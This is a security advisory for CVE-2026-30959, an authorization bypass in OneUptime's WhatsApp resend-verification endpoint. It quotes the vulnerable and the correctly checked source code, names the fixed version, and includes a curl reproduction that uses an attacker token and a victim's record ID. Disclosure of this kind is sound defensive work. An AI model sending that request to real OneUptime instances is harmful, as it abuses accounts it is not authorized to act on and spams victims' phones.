@oneuptime/common
Affected
- introduced
0, fixed10.0.21(semver)
Fixed versions
10.0.21
Fix
- Fixed version
10.0.21npm install @oneuptime/[email protected]
Advisory
Also known as: CVE-2026-30959
OneUptime has WhatsApp Resend Verification Authorization Bypass
Description
The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).
Affected Source
Full Code Lines (UserWhatsAppAPI.ts)
Resend path (authorization gap):
this.router.post(
`${new this.entityType()
.getCrudApiPath()
?.toString()}/resend-verification-code`,
UserMiddleware.getUserMiddleware,
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
req = req as OneUptimeRequest;
if (!req.body.itemId) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid item ID"),
);
}
await this.service.resendVerificationCode(req.body.itemId);
return Response.sendEmptySuccessResponse(req, res);
} catch (err) {
return next(err);
}
},
);
Verify path (ownership check present):
if (
item.userId?.toString() !==
(req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid user ID"),
);
}
Prerequisites
UserWhatsApp itemId belonging to the same projectSteps to Reproduce
export ATK="Bearer <attacker-access-token>"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $ATK" \
-d '{"itemId":"<victim-userwhatsapp-id>"}' \
http://<host>/api/user-whats-app/resend-verification-code
Expected/Observed Behavior
{} body and a new verification code sent to the victim’s phoneitem.userId equals the authenticated user’s ID for the resend pathImpact
Recommended Fix
item.userId must match the authenticated userMedium Basis: The source's own band: MODERATE
0, fixed 10.0.21 (semver)10.0.21
10.0.21npm install @oneuptime/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0